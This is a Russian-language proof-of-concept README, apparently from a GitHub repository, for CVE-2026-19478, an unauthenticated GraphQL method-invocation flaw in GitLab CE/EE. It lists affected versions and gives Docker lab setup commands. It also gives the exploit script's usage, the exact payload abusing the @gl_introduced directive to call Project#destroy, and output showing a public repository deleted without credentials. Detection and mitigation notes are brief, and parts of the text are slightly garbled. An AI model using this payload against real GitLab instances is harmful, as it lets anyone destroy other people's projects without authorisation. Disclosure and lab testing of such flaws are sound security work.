
Доказательство концепции эксплуатации для CVE-2026-19478 — неаутентифицированной GraphQL-инъекции в GitLab CE/EE, позволяющей произвольный вызов методов и удаление проектов.
★ CVE-2026-19478 GitLab GraphQL @gl_introduced неаутентифицированный PoC произвольного вызова методов ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 — это неаутентифицированная уязвимость манипуляции/удаления данных в GitLab CE/EE (CVSS 9.4). GitLab поставляет клиентскую директиву GraphQL
@gl_introduced(version: "X.Y.Z")для прямой совместимости при поэтапном развёртывании. Когда запрос называет поле с версией новее, чем у работающего сервера, трассировщик удаляет его до статической проверки, поэтому запрос проходит валидацию, а затем при выполнении неизвестное поле разрешается через резервное поле, у которого нет резолвера. В graphql-ruby поле без резолвера разрешается путём вызоваobject.public_send(field_name)— поэтому клиент может назвать поле, совпадающее с любым методом без аргументов на текущем разрешаемом объекте, и сервер вызовет его. Разрешение публичного проекта и запрос «будущего поля» с именем таким образом запускает — удаляя публичный проект (или изменяя данные пользователя) .
destroyProject#destroy| Категория | Версия |
|---|---|
| Уязвимые | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| Исправленные | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 или новее |
Resolvers::NilResolver (возвращает nil, никогда не вызывает метод)Соберите и запустите уязвимый GitLab. Он самостоятельно создаёт публичный репозиторий victim/demo, который вы
можете удалить без аутентификации. GitLab требуется ~3–5 минут, чтобы завершить перенастройку и создание данных.
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| Предварительное условие | Состояние в этой лаборатории |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| Публичный проект, доступный анонимно | victim/demo (создан) |
| Неаутентифицированная конечная точка GraphQL доступна | /api/graphql открыт |
Эксплойт gitlab_exploit.py удаляет любой публичный репозиторий, на который вы его укажете, без
учётных данных. Он отправляет полезную нагрузку @gl_introduced, которая превращает имя поля GraphQL destroy
в вызов Project#destroy, а затем подтверждает удаление через REST API (404).
# python3 gitlab_exploit.py <целевой ip:порт> --repo <группа/имя>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] target ......... http://172.17.0.2:3000
[*] BEFORE (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (существует)
[*] PAYLOAD (unauth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] ожидание завершения асинхронного удаления ...
[+] AFTER (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCESS - НЕАУТЕНТИФИЦИРОВАННЫЙ запрос УДАЛИЛ 'victim/demo'. CVE-2026-19478 подтверждена.
Опции:
--detect — безопасная, неразрушающая проверка (вызывает безвредный метод to_param вместо destroy)--repo группа/имя — выбрать любой публичный проект на экземпляре--insecure — пропустить проверку TLS для целей https://@gl_introduced / путь фильтра версий на обратном прокси или ограничьте неаутентифицированный доступ к /api/graphql